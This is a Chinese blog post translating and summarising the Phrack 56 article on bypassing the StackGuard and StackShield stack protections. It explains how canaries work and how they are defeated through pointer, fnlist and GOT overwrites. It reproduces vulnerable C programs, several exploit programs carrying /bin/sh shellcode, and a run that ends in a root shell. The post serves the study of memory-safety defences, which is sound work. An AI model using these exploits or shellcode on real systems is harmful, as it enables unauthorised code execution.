欢迎使用优快云-markdown编辑器

本文探讨了StackGuard和StackShield的安全机制及其被绕过的可能性。介绍了canary和GOT表等概念,并展示了如何利用特定漏洞进行攻击,同时讨论了针对不同防御措施的有效对策。

Phrack-56-5:BYPASSING STACKGUARD AND STACKSHIELD 学习翻译

原文链接:http://phrack.org/issues/56/5.html#article

stackguard

就是加一个canary再返回地址和ebp之间

这里写图片描述

为了使canary 不容易被攻击者猜到,使用两种方式设置canary——“终止符”和“随机数”
终止符canary:
包含 NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff)——这四个字符可以作为字符串的终止标志,导致溢出尝试无效
随机canary:
根据时间选随机数——攻击者不能在程序开始之前在可执行映像中找到canary

stackshield

创建一个独立的栈存储函数的返回地址,而且在被保护的函数前后添加代码,函数之前的代码将返回地址拷贝到一个特殊的表中,之后的代码讲返回地址拷贝回去,所以函数总是会返回到调用的地方——但是实际的返回地址并不会和之前储存的返回地址进行比较,而是直接协会,所以不能检测是否发生溢出
最新的版本中加入了抱回:调用函数指针不能指向在.text段中的地址——如果返回地址改变,程序停止执行。

破解方法一:对canary,两次拷贝函数破解

在缓冲区后有一个指针——所以不是所有 的函数都可以

[root@sg StackGuard]# cat vul.c

// Example vulnerable program.
int f (char ** argv)
{
        int pipa;    // useless variable
        char *p;
        char a[30];

        p=a;

        printf ("p=%x\t -- before 1st strcpy\n",p);
        strcpy(p,argv[1]);        // <== vulnerable strcpy()
        printf ("p=%x\t -- after 1st  strcpy\n",p);
        strncpy(p,argv[2],16);
        printf("After second strcpy ;)\n");
}

main (int argc, char ** argv) {
        f(argv);
        execl("back_to_vul","",0);  //<-- The exec that fails
        printf("End of program\n");
}

思路是:
先将p指针的值通过strcpy覆盖成ret的地址,然后通过后面的strncpy将p指向的地址的值进行修改,这样就可以绕开canary

需要条件:
1. 一个指针变量p在我们的缓冲区a[]后面、
2. 需要可以进行溢出点
3. 需要一个拷贝函数将p作为目的地,用户输入作为源,而且在溢出和拷贝之间没有对p进行初始化
所以说不是所有的函数都可以进行这种破解canary


[root@sg StackGuard]# cat ex.c

/* Example exploit no. 1 (c) by Lam3rZ 1999 :) */

char shellcode[] =
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh";
char addr[5]="AAAA\x00";

char buf[36];
int * p;

main() {
    memset(buf,'A',32);
    p = (int *)(buf+32);
    *p=0xbffffeb4;    //  <<== let us point at RET
    p = (int *)(addr);
    *p=0xbfffff9b;    //  <<== new RET value
    execle("./vul",shellcode,buf,addr,0,0);
}

关于xor canary的改进

Crispin Cowan——stackguard的提出者提出了一个补救方法
对随机的canary进行xor操作
canary校验代码在推出的时候,将canary和返回地址进行xor操作来计算展示random canary应该的值,如果ret addr被改过了,那么xor得到的canary就会不匹配。在不知道随机canary的值的情况下,攻击者计算不出来栈上canary的的值。
这个方法的关键在于不能让攻击者得到随机canary的值,
一开始,是在canary table周围设置red pages
但是EMSID的攻击可以利用指针来指向任意地址

mprotect()可以用来保护canary table被攻击者破坏

We informed Crispin that we’re going to write an article about it and his
response was:

“I think we can have a revised StackGuard compiler (with the XOR random
canary) ready for release on Monday.”

这个新版本就是stackshield——存储ret的 拷贝,然后在返回之前进行检查

如果我们有可以操作的指针,我们可以用它来改写来帮助我们的破解程序

比如说fnlist 结构——通过atexit()或者on_exit()注册函数
(按照ISO C的规定,一个进程可以登记至少32个函数,这些函数将由exit自动调用。atexit()注册的函数类型应为不接受任何参数的void函数。)

程序在退出的时候,需要调用exit(),大多数程序在结束执行或者是出错的时候回调用

[root@sg StackGuard]# gdb vul
    GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
    [...]
    This GDB was configured as "i386-redhat-linux"...
    (gdb) b main   
    Breakpoint 1 at 0x8048790
    (gdb) r        
    Starting program: /root/StackGuard/c/StackGuard/vul

    Breakpoint 1, 0x8048790 in main ()
    (gdb) x/10x &fnlist
0x400eed78 <fnlist>:    0x00000000      0x00000002      0x00000003      0x4000b8c0
0x400eed88 <fnlist+16>: 0x00000000      0x00000003      0x08048c20      0x00000000
0x400eed98 <fnlist+32>: 0x00000000      0x00000000

可以看到调用了两个函数:_fini [0x8048c20] and _dl_fini [0x4000b8c0]
可以通过覆盖这些函数,fnlist是依赖libc库,所以在一类机器上的每个程序中都是一样的

下面就是当程序通过exit()来退出时来破解的

[root@sg StackGuard]# cat 3ex.c
/* Example exploit no. 2 (c) by Lam3rZ 1999 :) */

char shellcode[] =
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh";
char addr[5]="AAAA\x00";

char buf[36];
int * p;

main() {
    memset(buf,'A',32);
    p = (int *)(buf+32);
    *p=0x400eed90;    // <<== Address of entry in fnlist which we'll modify
    p = (int *)(addr);
    *p=0xbfffff9b;    // <<== Address of new function to call (shellcode) :)
    execle("./vul",shellcode,buf,addr,0,0);
}

stackguard 和 stackshield都不能对这种攻击进行保护

但是如果程序在退出的时候调用的是_exit()而不是exit()?

当我们覆盖了canary的时候,出来程序会调用__canary_death_handler() (this function is responsible for logging
the overflow attempt and terminating the process)

    void __canary_death_handler (int index, int value, char pname[]) {
      printf (message, index, value, pname) ;
      syslog (1, message, index, value, pname) ;
      raise (4) ;
      exit (666) ;
    }

We received some email from Perry Wagle wagle@cse.ogi.edu (another
Stackguard author): “I seem to have lost my change to have it call _exit()
instead…”. Currently StackGuard calls _exit().

现在基本用的都是_exit()

在美国的发型

如果整个系统都被stackguard和stackpatch(栈不可执行)保护怎么办?

破解stackpatch的方法就是patch GOT表——将指针的值指向GOT

试着在strncpy的时候改写p指针指向的地方(GOT),system的值可以计算出来

试着将printf的GOT表项改成system

但是不能成功——和参数有关系
改哪个表项需要看情况——有时候需要改的是在我们改动函数后面执行的函数
有时候如果缓冲区是最后一个本地变量,这个时候我们输入的可以作为参数——the first 4 bytes of the last local variable on the stack are treated as the first argument——Just make it point to “/bin/sh” or something similar.

覆盖GOT对于提到的三种防护都有用,可以用在当我们不能操作我们拷贝的整个内容但是只有部分的情况

更加常见的参数传递

一般来说不会将整个参数表传递,而更是一个字符串什么的

char dst_buffer[64]; /* final destination */

int f (char * string)
{
    char *p;
    char a[64];

    p=dst_buffer;        /* pointer initialization */
    printf ("p=%x\t -- before 1st strcpy\n",p);
    strcpy(a, string);      /* string in */

    /* parsing, copying, concatenating ... black-string-magic */
    /* YES, it MAY corrupt our data */

    printf ("p=%x\t -- after 1st  strcpy\n",p);
    strncpy(p, a, 64);      /* string out */
    printf("After second strcpy ;)\n");
}

int main (int argc, char ** argv) {
    f(argv[0]);                    /* interaction */
    printf("End of program\n");
}

只能给问题函数传一个字符串

当栈不可执行的时候我们不能讲GOT表改成栈上的地址——因为栈不可执行

 Check out /proc/*/maps:

    00110000-00116000 r-xp 00000000 03:02 57154
    00116000-00117000 rw-p 00005000 03:02 57154
    00117000-00118000 rw-p 00000000 00:00 0
    0011b000-001a5000 r-xp 00000000 03:02 57139
    001a5000-001aa000 rw-p 00089000 03:02 57139
    001aa000-001dd000 rw-p 00000000 00:00 0
    08048000-0804a000 r-xp 00000000 16:04 158
    0804a000-0804b000 rw-p 00001000 16:04 158      <-- The GOT is here
    bfffd000-c0000000 rwxp ffffe000 00:00 0

栈不可执行但是GOT表可以执行——只需要将shellcode拷贝到我们想要的位置,然后将GOT表项指向那个地方就行了
还要考虑信号(signals),函数的信号句柄试图利用一个改过的GOT 表项来调用喊,然后程序就死掉了——这个只是一个理论上的危险

一个更加实际的例子:


char global_buf[64];

int f (char *string, char *dst)
{
        char a[64];

        printf ("dst=%x\t -- before 1st strcpy\n",dst);
        printf ("string=%x\t -- before 1st strcpy\n",string);
        strcpy(a,string);
        printf ("dst=%x\t -- after 1st  strcpy\n",dst);
        printf ("string=%x\t -- after 1st  strcpy\n",string);

        // some black magic is done with supplied string

        strncpy(dst,a,64);
        printf("dst=%x\t -- after second strcpy :)\n",dst);
}

main (int argc, char ** argv) {

        f(argv[1],global_buf);
        execl("back_to_vul","",0);  //<-- The exec that fails
                                    // I don't have any idea what it is for
                    // :)
        printf("End of program\n");
}

dst指针在canary和ret之前,很难不改变canary也很难不被抓住
如何改变?
StackGuard and StackShield 在函数返回的时候检查RET,但是我们在返回之前还有很多时间来控制程序——改写下一个被调用的库函数的GOT表项——不需要担心本地变量的顺序——因为我们不在乎canary的状态


/* Example exploit no. 4 (c) by Lam3rZ 1999 :) */

char shellcode[] = // 48 chars :)
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh";

char buf[100];
int * p;

main() {
    memset(buf,'A',100);
    memcpy(buf+4,shellcode,48);
    p = (int *)(buf+80);    // <=- offset of second f() argument [dest one]
    *p=0x8049f84;//  <<== GOT entry of printf

    p = (int *)(buf);
    *p=0x8049f84+4;//  <<== GOT entry of printf+4, there is our shellcode :)

    execle("./vul2","vul2",buf,0,0);
}

结果:


    [root@sg]# ./a.out
    p=804a050        -- before 1st strcpy
    argv1p=bfffff91  -- before 1st strcpy
    p=8049f84        -- after 1st  strcpy
    argv1=41414141   -- after 1st  strcpy
    bash#

结论

StackGuard/StackShield 可以避免以为的缓冲区溢出

注意代码审计

使用StackGuard/StackShield/whatever会使系统性能下降,但是会提高安全性

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值